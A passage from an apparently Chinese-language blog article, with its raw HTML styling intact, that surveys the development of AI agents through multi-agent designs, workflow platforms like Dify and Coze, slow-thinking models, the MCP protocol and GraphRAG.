sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">上下文不够长</span></strong><span leaf="">，即便现在达到上下文百万级别依旧困扰着AI，让一个Agent独立负责一个任务，可以最大程度的减少无效的上下文冗余，针对性更强的完成任务</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">AI幻觉问题</span></strong><span leaf="">，减少无效信息干扰，Agent接收到独立的任务条件和目标，执行方向性会更强，互相也不会干扰</span></p></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">最早的多Agent应用，大多数都是让多个Agent一起做事情，那会儿非常经典的多AI辩论，看过不少。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">让多Agent真正发光发热的破局点，就是工作流概念的诞生</span></p><h1 style="box-sizing: border-box;border-width: 0px 0px 2px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);font-size: 16.8px;font-weight: bold;margin: 2em auto 1em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 1em;color: rgb(63, 63, 63);"><span leaf="">什么是工作流？</span></h1><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">工作流诞生的契机来的很快，在多Agent的理念出现之后，大家发现</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">单纯让Agent独立完成任务的价值并不大</span></strong><span leaf="">，Agent本身容易失控，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">早期使用AI的普遍方案，都是让AI对同一个内容多次分析</span></strong><span leaf="">，最后取比例更好的那一个。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在23年底到24年，许多耳熟能详的AI平台诞生了，比如说Dify、Coze，他们都践行了Workflow的工作流理念。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">工作流的核心理念是</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">将任务提前分成多个步骤，分别给每个步骤制定好输入、输出、需要完成的事情，最后再将任务的结果汇总并输入到下一个步骤</span></strong><span leaf="">。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在工作流的理念中，可以</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">提前规划好步骤</span></strong><span leaf="">，也可以由AI规划划分步骤。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">推进工作流</span></strong><span leaf="">，可以是类似于Dify这种程序推进Agent完成任务，也可以是由一个负责任Agent来推进任务，单个步骤的任务也可以独立启动多个Agent完成。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">工作流诞生的价值</span></strong><span leaf="">一方面是</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">完美利用多Agent的优势</span></strong><span leaf="">，独立Agent节省上下文，目标需求清晰互不干扰</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">另一方面是相比依赖Agent本身的执行结果，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">工作流的产出会更强势</span></strong><span leaf="">，这意味着</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">工业化程度更高</span></strong><span leaf="">，那应用的结果效果也会更好。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">像Claude Code现在就支持</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">用工作流的方式驱动多Agent完成特定的任务</span></strong><span leaf="">，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">Codex可以通过Skill驱动工作流任务启动</span></strong><span leaf="">。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在历经了上面的3个关键节点之后，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">AI的基础方法论已经成型</span></strong><span leaf="">，但实际上距离现在真正的AI成熟化还有很长的距离，其中依旧有几个标志性的事件</span></p><h1 style="box-sizing: border-box;border-width: 0px 0px 2px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);font-size: 16.8px;font-weight: bold;margin: 2em auto 1em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 1em;color: rgb(63, 63, 63);"><span leaf="">慢思考AI的诞生</span></h1><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">最早的AI模型都是基于快思考，看到问题直接输出答案，尤其是以GPT为代表，GPT-4模型最经典的问题就是偷懒，最经常的场景就是GPT-4会持续的问你问题。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在2024年底，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">慢思考模型的经典范例openai的o1模型和Deepseek R1模型</span></strong><span leaf="">，尤其是Deepseek，我个人感觉是从DS开始，我们经常使用的AI都会展示自己的思考过程。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">慢思考AI诞生，对工作流本身造成了一定的降级，因为AI本身的思维能力足够强大，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">强流程的工作流某种程度上来说也成了有能力的AI的枷锁</span></strong><span leaf="">。这个话题我想在后面的文章中再讨论。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">对于AI应用的意义来说，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">慢思考AI引领了后续AI大模型本身能力的提升方向</span></strong><span leaf="">，早期AI Agent你需要提出更明确的需求方式方法，现在的如果使用能力很强的Opus4.6这类大模型，你可以完全提出简单的需求，他会分析你的需求并结合实际场景完成任务，效果反而越来越好。</span></p><h1 style="box-sizing: border-box;border-width: 0px 0px 2px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);font-size: 16.8px;font-weight: bold;margin: 2em auto 1em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 1em;color: rgb(63, 63, 63);"><span leaf="">MCP是什么？</span></h1><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">除了大模型本身的能力上升以外，关于方法论的变化也有，那就是MCP.</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在2024年底，Anthropic提出了AI大模型的标准协议，就是MCP。其实单纯按照定位来说，MCP有点儿类似于Skill，但是MCP的针对性更强，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">MCP提出了一套双向通信的标准协议，允许AI大模型通过MCP协议无缝接入任何其他APP</span></strong><span leaf="">。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">比较经典的通过mcp操作数据库，操作三方软件，很多公司为了拥抱MCP时代还推出了专门的MCP接口，这样AI在接入很多能力的时候就不用被迫应对原来的风控策略了。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">MCP的标准化对于AI Agent的长远发展有着非常特殊的意义</span></strong><span leaf="">，他倒逼厂家自己推出官方MCP，让Agent的触手延伸的更远。</span></p><h3 style="box-sizing: border-box;border-width: 0px 0px 0px 3px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 8px;color: rgb(63, 63, 63);"><span leaf="">GraphRAG 的出现</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">除了大模型的能力和AI方法论的演变，在24年诞生的GraphRAG则是在另一个维度上提升了AI能力的深度。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">在GraphRAG之前，AI Agent应用的知识库，大部分是传统的RAG系统</span></strong><span leaf="">。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">传统RAG的核心特质是，会把一篇文章切分成很多部分，然后把他们向量化，通过片段的向量相似度搜索相关的片段输入到AI，实现某种程度上的记忆，最大的问题是</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">这种方案非常强烈的依赖切片的质量</span></strong><span leaf="">，或者这个问题的答案干脆就没有相似度，他的效果就会大大下降，这个问题曾经贯穿早期试图做AI搜索的许多方案，令人望而生却。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span 